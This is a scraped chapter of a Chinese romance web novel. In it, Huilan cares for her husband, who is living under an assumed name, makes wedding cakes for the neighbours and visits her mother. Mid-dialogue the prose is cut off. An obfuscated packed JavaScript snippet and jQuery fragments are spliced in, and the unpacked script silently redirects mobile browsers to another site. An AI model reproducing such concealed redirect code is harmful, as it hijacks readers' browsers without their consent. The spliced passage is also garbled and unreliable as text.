默认冷灰
24号文字
方正启体

3. 过犹不及

作者:珠履三千本书字数:K更新时间:
    临到四更天,严谌腹痛如绞,冷汗涔涔。


    他手脚冰凉,蕙兰迷迷糊糊醒了,仰头摸摸他的脸,一言不发起身。


    片刻后,她点亮蜡烛,端来一碗覆着零星鸡肉的豆饭。


    “知道你会饿,特意留着。”


    颈后温热的触感极为鲜明,严谌睁开眼,蕙兰背后微弱的火光映不出她的面容,他只看到那双眼眸,竟不由得晃了晃神。


    蕙兰托着他靠坐在墙边,把碗筷举到他跟前,笑吟吟问:“要我喂吗?”


    严谌呼吸一滞,抽走她手上木箸,就着这副姿势进食,这次倒不再嫌弃寡淡粗陋,吞咽的动作显出几分急促。


    她替他将发丝别到耳后,静静看他许久。


    他难以无视那道专注的目光,烦躁不已。


    赵深进府近十年,严谌半点不信十年未见,蕙兰还对赵深有什么真心可言。他认定她是受自己皮囊所惑,且愚钝蠢笨,才被几句话糊弄住。


    加之夜里轻易投怀送抱,与他同榻而眠,实在是个轻浮谄媚的性子。


    大抵因对她全然厌恶,严谌觉得十分不自在。


    大族重礼,京中贵女外出多半以帷帽遮挡容颜,喜恶不为人所知更是理所应当,他所知女子绝不会像蕙兰这般直勾勾盯着男人……


    她移开了视线。


    严谌几不可察顿了顿,并不在意她想着些什么,匆匆饱腹后便想漱口,却见她蹙起眉头,手朝下探去。


    “这东西会干啊。”蕙兰苦恼道,“早知道不偷懒了。”


    此话一出,原本被强压下的记忆又冒了头,曾与她皮肉相贴的颈项一阵阵发着烫。


    他咬住牙关,不悦地垂下眸子,却不知道颈上红晕已经漫开,在蕙兰眼里,他无处可藏。


    她忽然发笑,捏着严谌颊肉把他扯近,飞快在他鼻尖啄吻一口,远离,再亲他的嘴唇。


    后者没有那么顺利了,他吓一大跳似的,猛地推开蕙兰……并未成功推开,不过惊慌间打掉了蕙兰握在手里的碗。


    那只陶碗在蕙兰身边多年,原本就有裂纹,盛汤漏水,故而只用来装饭,但还能再支撑不短的时间。


    现在它远远飞出去,落地时发出沉闷的钝响,变作三瓣,散到地面,像在谴责严谌的鲁莽,令他望着她弯腰拾起碎片的背影,莫名憋出一句:


    “别捡了,当心手被划破。”


    蕙兰眉开眼笑,回头朝他晃晃碎片:“深哥,这是陶,况且就算是瓷,我手上有茧,也不会受伤。”


    严谌当自己犯糊涂,立刻缄口不言,嘴角都平直了。


    她仍在笑,心道,脸皮好薄。


    蕙兰并不生气,收拾好后烧水提回房,擦了半晌才擦干净,拧干了水,掀开被子,要替他擦洗——如她所料,他耳根又红了,抢过布巾,生硬道:“我自己来。”


    蕙兰道:“好。”


    二人对视良久。


    严谌率先道:“你说了好。”


    蕙兰应他:“嗯。”


    严谌宛如一个面对无赖无可奈何手无缚鸡之力的小相公,暗自气得发抖:“转过去。”


    蕙兰依言照做。


    “深哥,讲话不要讲半句,你和我说,我才懂你的意思。害臊也没关系,我们是夫妻,往后朝夕相处,是要一起过日子,你怎么样,我都喜欢,但我毕竟猜不到你所有的心思,你要和我说。”


    严谌对她这话漠然以待。


    他决计不会跟她过一辈子日子。


    “……好了。”


    蕙兰接过布巾,出了门,再钻进被子时,径直把冷冰冰的手掌塞到他衣襟里,半个身子都压着他,一副无赖做派:“差点被冻坏了,帮我暖暖嘛。”


    他抓住她手腕,想将她拽出去,她又作势准备亲他,严谌左支右绌,权衡之下,还是任由她取暖了。


    蕙兰伏在他胸前,渐渐睡去,严谌在幽暗的夜里阴阴设想怎样报复她,想了几息,寒风一吹,他没来得及在脑子里出气,便打了个颤。


    靠在一起,确实暖和一些。


    他纡尊降贵地拥着她,仿佛让扑面而来的热意冲了冲,微微偏头,维持着别扭的姿势,闭上了眼。


    -


    天没亮透,蕙兰醒了。


    她推了推严谌:“深哥,我们去娘那儿拜拜。”


    这是她想好了的,成亲三拜,不必在意天地,因为她是爹娘养育,只准备到晁珍面前拜高堂,算过明面。


    严谌睡得不好,梦里光怪陆离,他头疼得厉害,被推搡两下,便不悦地翻过身背对她,蕙兰扶在他腰上,撑起身子瞧,发现他还闭着眼,不再非要他起来,自己下了地。


    过了十八后,蕙兰每年生辰都会买些糯米粉放在屋里,他们这儿有个习惯,是新婚得送喜糕。


    靠着山,往外的路难走,村里许多穷人家,成亲圆房是好事,但没有办法大操大办,所以做些喜糕,给乡邻送过去,既是含蓄告知婚讯的方式,又能给人沾福气,久而久之,成了约定俗成的习惯。


    蕙兰闷熟了红豆,慢慢压成沙,裹进糯米皮里,在等它蒸熟的时间坐到灶边,烤着火,哼着不成曲的调子。


    等赵深的手痊愈,他们一起挣钱,比一个人多,有了余钱,她可以再买鸡崽,搭个棚,或是修缮院子。


    一家人搬去镇上是最好的,深哥认得草药,能做医馆的活,比在村里轻松。她不大会绣花,但会鞣皮,也是不错的本事。


    她将喜糕放在篮子里,拿布盖着,给平日里说过几句话的长辈都送了过去。礼不在重,何况这种带着意头的,送到就好,蕙兰听下许多好话,脚步轻快,走到关裕家门外,才有些踌躇。


    幸亏是关萍开的门。


    想到关家叔婶帮的忙,蕙兰有些赧然:“我都没来得及特意道谢,拖到今天,煮了几个蛋,阿萍,你给一起拿进去吧,我不进屋了。”


    关萍稀罕得很:“赵深才回来多久?这么快……这么快就成了?我哥总围着你转,一年多了,我也没吃上你们的喜糕,他……”


    “阿萍!”她忍不住打断了她,“那不是一回事,你哥是好,但我心里有人,怎样都是不能答应他的,不然谁都不高兴。”


    “——你知道我会不高兴?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001473|193962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    关裕的声音从里头传出来,很清楚,大概在里头也能听清她们在谈论什么。


    蕙兰明白他的意思,只觉得为难,叹了口气,连同篮子一起塞到关萍手里,强打笑意撂下一句告辞的话,不再多聊,转身便走。


    雪停了半夜,下得更大。


    蕙兰到家时,严谌早醒了,他喜净,但家徒四壁,无物可用,只好拿盐水漱口。


    “深哥,我做了糕,你来试试。”


    锅里特意留了两块,一块给他,一块给娘。


    她自己吃过,觉得不错,献宝一样带着几分得意,翘起尾巴,这么告诉他:


    “都送过了,以后他们都知道你是我男人了。”


    历经昨夜,严谌已经有处变不惊的本领,虽不明白蕙兰话里的意味,总归男人不男人的,除了那回事也不会有别的,他对乡野之地毫无羞耻可言的行径嗤之以鼻,拈着糕抿了一口。


    蕙兰问他:“怎样?”


    他如实道:“难吃。”


    腻得发慌,内馅半点不细,与西京山珍海味相比,着实难吃。


    蕙兰的脸色缓缓变化:“哪里难吃?”


    “什么滋味都是过犹不及。糕点之类,清甜即可。”


    蕙兰被他文绉绉的词弄得云里雾里,大致听懂是说甜,她确实不怎么明白。


    糖贵,不过这辈子就做一次,蕙兰第一次舍得放这么多,在她看来正好,并且难得,严谌是认真品评,但太扫兴。


    她在地上蹭了蹭靴底,闷声道:“那你放下。”


    他没有理她。


    进嘴的东西哪有吐出来的道理?


    蕙兰见他全吃了,才消了点气,拽着他去晁珍屋里。


    常玩的绳被抛在一旁,晁珍给窗上蒙的布掀了个角,正从里往外望。


    蕙兰急忙把装了喜糕的碗放到桌上,抱着她离远了:“不知道冷吗?”


    晁珍吃吃笑着,冰凉的指头点了点她的眉心:“蕙兰、蕙兰……雪……”


    严谌不动声色注视着这一幕。


    “嗯,雪。”蕙兰搓搓晁珍的手,“下雪会冷,要盖着被子。”


    -


    “蕙兰。”


    他启唇,低声道。


    “你拿来的糕,要凉了。”


    她这才想起来,不过抽不出空拿,于是唤他:“帮我端过来,深哥。”


    严谌身量高,掌心宽大,玉似的手指搭在旧陶碗边,一点都不相称。


    蕙兰哄道:“娘,看,这是什么?我和深哥成亲了,我特意做了喜糕……好看吗?只有这个是圆的……对,最圆了。”


    晁珍很喜欢,至少比他喜欢得多,三两口咽了,要她陪自己翻绳,蕙兰不如她熟练,乖乖任她翻,适时夸赞两句,神情不像是对待母亲的。


    她似乎真的当她是个孩子。


    他坐到床边,颈上玉坠赫然,晁珍却从头到尾一个眼神都未分过他。


    疯子分得清血脉至亲吗?


    严谌对探究晁珍的想法不感兴趣,此刻纯粹是无事可做,所以待在这里,看她们做些毫无意义的废事。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)